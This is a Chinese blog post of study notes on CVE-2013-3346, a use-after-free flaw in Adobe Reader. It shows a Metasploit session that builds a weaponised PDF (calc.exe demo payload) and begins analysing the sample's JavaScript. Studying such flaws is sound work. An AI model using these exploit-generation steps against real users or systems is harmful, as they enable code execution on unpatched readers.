[原创]CVE-2013-3346学习笔记
CVE-2013-3346学习笔记
CVE-2013-3346是PDF阅读器Adobe Reader的一个UAF漏洞。以下是我的学习笔记。
1.分析环境
- 操作系统:Win7 / XP SP3
- 调试器:Windbg / OllyDbg
- 反汇编:IDA Pro 7.0
- Adobe Reader : 9.3.4
2.基本信息
2.1 使用Metasploit生成样本,配置信息如下
msf exploit(windows/fileformat/adobe_toolbutton) > show options Module options (exploit/windows/fileformat/adobe_toolbutton): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.pdf yes The file name. Payload options (windows/exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD calc.exe yes The command string to execute EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) **DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)** Exploit target: Id Name -- ---- 0 Windows XP / Adobe Reader 9/10/11 msf exploit(windows/fileformat/adobe_toolbutton) > run [*] Creating 'msf.pdf' file... [+] msf.pdf stored at /root/.msf4/local/msf.pdf msf exploit(windows/fileformat/adobe_toolbutton) >
2.2 漏洞基本信息
漏洞存在于Adobe Reader 11.0.0到11.0.2, 10.0.0到10.1.6 以及9.0.0到9.5.4等版本,在处理ToolButton对象时存在一个UAF漏洞。
2.2.1 PDF样本文件分析
使用PdfStreamDumper打开样本文件,在第5个object位置,有一段JavaScript脚本,这是触发漏洞以及漏洞利用的主要部分。
注意:上传附件及图片大小不得大于30M。
⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。
复制成功
